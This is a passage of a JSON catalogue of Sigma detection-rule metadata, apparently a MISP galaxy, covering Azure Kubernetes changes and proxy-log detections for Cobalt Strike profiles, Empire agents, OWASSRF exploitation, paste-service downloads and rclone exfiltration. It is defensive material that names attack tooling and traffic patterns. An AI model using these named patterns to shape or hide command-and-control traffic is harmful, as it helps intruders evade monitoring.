"estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b831353c-1971-477b-abb6-2828edc3bca1", "value": "Azure Keyvault Secrets Modified or Deleted" }, { "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/07", "falsepositive": [ "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_network_policy_change.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml" ], "tags": [ "attack.impact", "attack.credential_access" ] }, "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43", "value": "Azure Kubernetes Network Policy Change" }, { "description": "Identifies when a service account is modified or deleted.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/08/07", "falsepositive": [ "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." ], "filename": "azure_kubernetes_service_account_modified_or_deleted.yml", "level": "medium", "logsource.category": "No established category", "logsource.product": "azure", "refs": [ "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", "https://attack.mitre.org/matrices/enterprise/cloud/", "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml" ], "tags": [ "attack.impact", "attack.t1531" ] }, "related": [ { "dest-uuid": "b24e2a20-3b3d-4bf0-823b-1ed765398fb0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "12d027c3-b48c-4d9d-8bb6-a732200034b2", "value": "Azure Kubernetes Service Account Modified or Deleted" }, { "description": "Detects suspicious user agent strings used in APT malware in proxy logs", "meta": { "author": "Florian Roth, Markus Neis", "creation_date": "2019/11/12", "falsepositive": [ "Old browsers" ], "filename": "proxy_ua_apt.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_apt.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6ec820f2-e963-4801-9127-d8b2dce4d31b", "value": "APT User Agent" }, { "description": "Detects suspicious User Agent strings that end with an equal sign, which can be a sign of base64 encoded values used as User Agent string", "meta": { "author": "Florian Roth", "creation_date": "2022/07/08", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_susp_base64.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://blogs.jpcert.or.jp/en/2022/07/yamabot.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp_base64.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "894a8613-cf12-48b3-8e57-9085f54aa0c3", "value": "Suspicious Base64 User Agent" }, { "description": "Detects user agent and URI paths used by empire agents", "meta": { "author": "Florian Roth", "creation_date": "2020/07/13", "falsepositive": [ "Valid requests with this exact user agent to server scripts of the defined names" ], "filename": "proxy_empire_ua_uri_combos.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/BC-SECURITY/Empire", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_empire_ua_uri_combos.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b923f7d6-ac89-4a50-a71a-89fb846b4aa8", "value": "Empire UserAgent URI Combo" }, { "description": "Detects Bitsadmin connections to domains with uncommon TLDs", "meta": { "author": "Florian Roth, Tim Shelton", "creation_date": "2019/03/07", "falsepositive": [ "Rare programs that use Bitsadmin and update from regional TLDs e.g. .uk or .ca" ], "filename": "proxy_ua_bitsadmin_susp_tld.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/", "https://twitter.com/jhencinski/status/1102695118455349248", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_tld.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001", "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9eb68894-7476-4cd6-8752-23b51f5883a7", "value": "Bitsadmin to Uncommon TLD" }, { "description": "Detects Turla ComRAT patterns", "meta": { "author": "Florian Roth", "creation_date": "2020/05/26", "falsepositive": [ "Unknown" ], "filename": "proxy_turla_comrat.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_turla_comrat.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001", "attack.g0010" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7857f021-007f-4928-8b2c-7aedbe64bb82", "value": "Turla ComRAT" }, { "description": "Detects HTTP requests used by Chafer malware", "meta": { "author": "Florian Roth", "creation_date": "2019/01/31", "falsepositive": [ "Unknown" ], "filename": "proxy_chafer_malware.yml", "level": "critical", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://securelist.com/chafer-used-remexi-malware/89538/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_chafer_malware.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fb502828-2db0-438e-93e6-801c7548686d", "value": "Chafer Malware URL Pattern" }, { "description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/22", "falsepositive": [ "Unlikely" ], "filename": "proxy_exchange_owassrf_poc_exploitation.yml", "level": "critical", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/", "https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&t=OkZJl_ViICeiftVEsohRyw", "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_exchange_owassrf_poc_exploitation.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fdd7e904-7304-4616-a46a-e32f917c4be4", "value": "OWASSRF Exploitation Attempt Using Public POC - Proxy" }, { "description": "Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs", "meta": { "author": "Florian Roth", "creation_date": "2017/07/08", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_frameworks.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_frameworks.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fdd1bfb5-f60b-4a35-910e-f36ed3d0b32f", "value": "Exploit Framework User Agent" }, { "description": "Detects WebDav DownloadCradle", "meta": { "author": "Florian Roth", "creation_date": "2018/04/06", "falsepositive": [ "Administrative scripts that download files from the Internet", "Administrative scripts that retrieve certain website contents", "Legitimate WebDAV administration" ], "filename": "proxy_downloadcradle_webdav.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_downloadcradle_webdav.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e09aed7a-09e0-4c9a-90dd-f0d52507347e", "value": "Windows WebDAV User Agent" }, { "description": "Detects download of certain file types from hosts with dynamic DNS names (selected list)", "meta": { "author": "Florian Roth", "creation_date": "2017/11/08", "falsepositive": [ "Software downloads" ], "filename": "proxy_download_susp_dyndns.yml", "level": "medium", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.alienvault.com/blogs/security-essentials/dynamic-dns-security-and-potential-threats", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_dyndns.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1105", "attack.t1568" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "195c1119-ef07-4909-bb12-e66f5e07bf3c", "value": "Download from Suspicious Dyndns Hosts" }, { "description": "Detects Malleable OneDrive Profile", "meta": { "author": "Markus Neis", "creation_date": "2019/11/12", "falsepositive": [ "Unknown" ], "filename": "proxy_cobalt_onedrive.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_onedrive.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c9b33401-cc6a-4cf6-83bb-57ddcb2407fc", "value": "CobaltStrike Malleable OneDrive Browsing Traffic Profile" }, { "description": "Detects suspicious malformed user agent strings in proxy logs", "meta": { "author": "Florian Roth", "creation_date": "2017/07/08", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_susp.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_susp.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7195a772-4b3f-43a4-a210-6a003d65caa1", "value": "Suspicious User Agent" }, { "description": "Detects suspicious requests to Telegram API without the usual Telegram User-Agent", "meta": { "author": "Florian Roth", "creation_date": "2018/06/05", "falsepositive": [ "Legitimate use of Telegram bots in the company" ], "filename": "proxy_telegram_api.yml", "level": "medium", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/", "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_telegram_api.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001", "attack.t1102.002" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b494b165-6634-483d-8c47-2026a6c52372", "value": "Telegram API Access" }, { "description": "Detects executable downloads from suspicious remote systems", "meta": { "author": "Florian Roth", "creation_date": "2017/03/13", "falsepositive": [ "All kind of software downloads" ], "filename": "proxy_download_susp_tlds_whitelist.yml", "level": "low", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_whitelist.yml" ], "tags": [ "attack.initial_access", "attack.t1566", "attack.execution", "attack.t1203", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b5de2919-b74a-4805-91a7-5049accbaefe", "value": "Download From Suspicious TLD - Whitelist" }, { "description": "Detects suspicious user agent strings used by malware in proxy logs", "meta": { "author": "Florian Roth", "creation_date": "2017/07/08", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_malware.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://networkraptor.blogspot.com/2015/01/user-agent-strings.html", "http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules", "https://www.bluecoat.com/en-gb/security-blog/2015-05-05/know-your-agents", "http://www.botopedia.org/search?searchword=scan&searchphrase=all", "https://perishablepress.com/blacklist/ua-2013.txt", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_malware.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5c84856b-55a5-45f1-826f-13f37250cf4e", "value": "Malware User Agent" }, { "description": "Detects Bitsadmin connections to IP addresses instead of FQDN names", "meta": { "author": "Florian Roth", "creation_date": "2022/06/10", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_bitsadmin_susp_ip.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_bitsadmin_susp_ip.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001", "attack.defense_evasion", "attack.persistence", "attack.t1197", "attack.s0190" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8ccd35a2-1c7c-468b-b568-ac6cdf80eec3", "value": "Bitsadmin to Uncommon IP Server Address" }, { "description": "Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string", "meta": { "author": "Janantha Marasinghe", "creation_date": "2022/10/18", "falsepositive": [ "Valid requests with this exact user agent to that is used by legitimate scripts or sysadmin operations" ], "filename": "proxy_ua_rclone.yml", "level": "medium", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.kroll.com/en/insights/publications/cyber/new-m365-business-email-compromise-attacks-with-rclone", "https://rclone.org/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_rclone.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.002" ] }, "related": [ { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2c03648b-e081-41a5-b9fb-7d854a915091", "value": "Rclone Activity via Proxy" }, { "description": "Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/22", "falsepositive": [ "Web vulnerability scanners" ], "filename": "proxy_exchange_owassrf_exploitation.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/", "https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_exchange_owassrf_exploitation.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1ddf4596-1908-43c9-add2-1d2c2fcc4797", "value": "Potential OWASSRF Exploitation Attempt - Proxy" }, { "description": "Detects suspicious user agent strings used by crypto miners in proxy logs", "meta": { "author": "Florian Roth", "creation_date": "2019/10/21", "falsepositive": [ "Unknown" ], "filename": "proxy_ua_cryptominer.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/xmrig/xmrig/blob/da22b3e6c45825f3ac1f208255126cb8585cd4fc/src/base/kernel/Platform_win.cpp#L65", "https://github.com/xmrig/xmrig/blob/427b6516e0550200c17ca28675118f0fffcc323f/src/version.h", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ua_cryptominer.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fa935401-513b-467b-81f4-f9e77aa0dd78", "value": "Crypto Miner User Agent" }, { "description": "Detects download of Ursnif malware done by dropper documents.", "meta": { "author": "Thomas Patzke", "creation_date": "2019/12/19", "falsepositive": [ "Unknown" ], "filename": "proxy_ursnif_malware_download_url.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ursnif_malware_download_url.yml" ], "tags": "No established tags" }, "uuid": "a36ce77e-30db-4ea0-8795-644d7af5dfb4", "value": "Ursnif Malware Download URL Pattern" }, { "description": "Detects URL pattern used by iOS Implant", "meta": { "author": "Florian Roth", "creation_date": "2019/08/30", "falsepositive": [ "Unknown" ], "filename": "proxy_ios_implant.yml", "level": "critical", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://twitter.com/craiu/status/1167358457344925696", "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_ios_implant.yml" ], "tags": [ "attack.execution", "attack.t1203", "attack.collection", "attack.t1005", "attack.t1119", "attack.credential_access", "attack.t1528", "attack.t1552.001" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "890c9858-598c-401d-a4d5-c67ebcdd703a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e06ac91d-b9e6-443d-8e5b-af749e7aa6b6", "value": "iOS Implant URL Pattern" }, { "description": "Detects different malformed user agents used in Malleable Profiles used with Cobalt Strike", "meta": { "author": "Florian Roth", "creation_date": "2021/05/06", "falsepositive": [ "Unknown" ], "filename": "proxy_cobalt_malformed_uas.yml", "level": "critical", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_malformed_uas.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "41b42a36-f62c-4c34-bd40-8cb804a34ad8", "value": "CobaltStrike Malformed UAs in Malleable Profiles" }, { "description": "Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form", "meta": { "author": "Florian Roth", "creation_date": "2019/12/05", "falsepositive": [ "User activity (e.g. developer that shared and copied code snippets and used the raw link instead of just copy & paste)" ], "filename": "proxy_raw_paste_service_access.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.virustotal.com/gui/domain/paste.ee/relations", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_raw_paste_service_access.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001", "attack.t1102.001", "attack.t1102.003", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5468045b-4fcc-4d1a-973c-c9c9578edacb", "value": "Raw Paste Service Access" }, { "description": "Detect update check performed by Advanced IP Scanner and Advanced Port Scanner", "meta": { "author": "Axel Olsson", "creation_date": "2022/08/14", "falsepositive": [ "Legitimate use by administrators" ], "filename": "proxy_adv_ip_port_scanner_upd_check.yml", "level": "medium", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.advanced-port-scanner.com/", "https://www.advanced-ip-scanner.com/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_adv_ip_port_scanner_upd_check.yml" ], "tags": [ "attack.discovery", "attack.t1590" ] }, "related": [ { "dest-uuid": "9d48cab2-7929-4812-ad22-f536665f0109", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1a9bb21a-1bb5-42d7-aa05-3219c7c8f47d", "value": "Advanced IP/Port Scanner Update Check" }, { "description": "Detects download of certain file types from hosts in suspicious TLDs", "meta": { "author": "Florian Roth", "creation_date": "2017/11/07", "falsepositive": [ "All kinds of software downloads" ], "filename": "proxy_download_susp_tlds_blacklist.yml", "level": "low", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap", "https://www.spamhaus.org/statistics/tlds/", "https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/", "https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_download_susp_tlds_blacklist.yml" ], "tags": [ "attack.initial_access", "attack.t1566", "attack.execution", "attack.t1203", "attack.t1204.002" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "00d0b5ab-1f55-4120-8e83-487c0a7baf19", "value": "Download From Suspicious TLD - Blacklist" }, { "description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", "meta": { "author": "Florian Roth", "creation_date": "2021/02/08", "falsepositive": [ "Unlikely" ], "filename": "proxy_apt_domestic_kitten.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://research.checkpoint.com/2021/domestic-kitten-an-inside-look-at-the-iranian-surveillance-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_apt_domestic_kitten.yml" ], "tags": [ "attack.command_and_control" ] }, "uuid": "6c939dfa-c710-4e12-a4dd-47e1f10e68e1", "value": "Domestic Kitten FurBall Malware Pattern" }, { "description": "Detects Malleable Amazon Profile", "meta": { "author": "Markus Neis", "creation_date": "2019/11/12", "falsepositive": [ "Unknown" ], "filename": "proxy_cobalt_amazon.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile", "https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_amazon.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "953b895e-5cc9-454b-b183-7f3db555452e", "value": "CobaltStrike Malleable Amazon Browsing Traffic Profile" }, { "description": "Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity", "meta": { "author": "Florian Roth", "creation_date": "2020/04/15", "falsepositive": [ "Unknown" ], "filename": "proxy_pwndrop.yml", "level": "critical", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://breakdev.org/pwndrop/", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_pwndrop.yml" ], "tags": [ "attack.command_and_control", "attack.t1071.001", "attack.t1102.001", "attack.t1102.003" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "2b1ee7e4-89b6-4739-b7bb-b811b6607e5e", "value": "PwnDrp Access" }, { "description": "Detects Malleable (OCSP) Profile with Typo (OSCP) in URL", "meta": { "author": "Markus Neis", "creation_date": "2019/11/12", "falsepositive": [ "Unknown" ], "filename": "proxy_cobalt_ocsp.yml", "level": "high", "logsource.category": "proxy", "logsource.product": "No established product", "refs": [ "https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile", "https://github.com/SigmaHQ/sigma/tree/master/rules/proxy/proxy_cobalt_ocsp.yml" ], "tags": [ "attack.defense_evasion", "attack.command_and_control", "attack.t1071.001" ] }, "related": [ { "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "37325383-740a-403d-b1a2-b2b4ab7992e7", "value": "CobaltStrike Malleable (OCSP) Profile" }, { "description": "Detects Windows PowerShell Web Access", "meta": { "author": "Florian Roth", "creation_date": "2017/03/13", "falsepositive": [ "Administrative 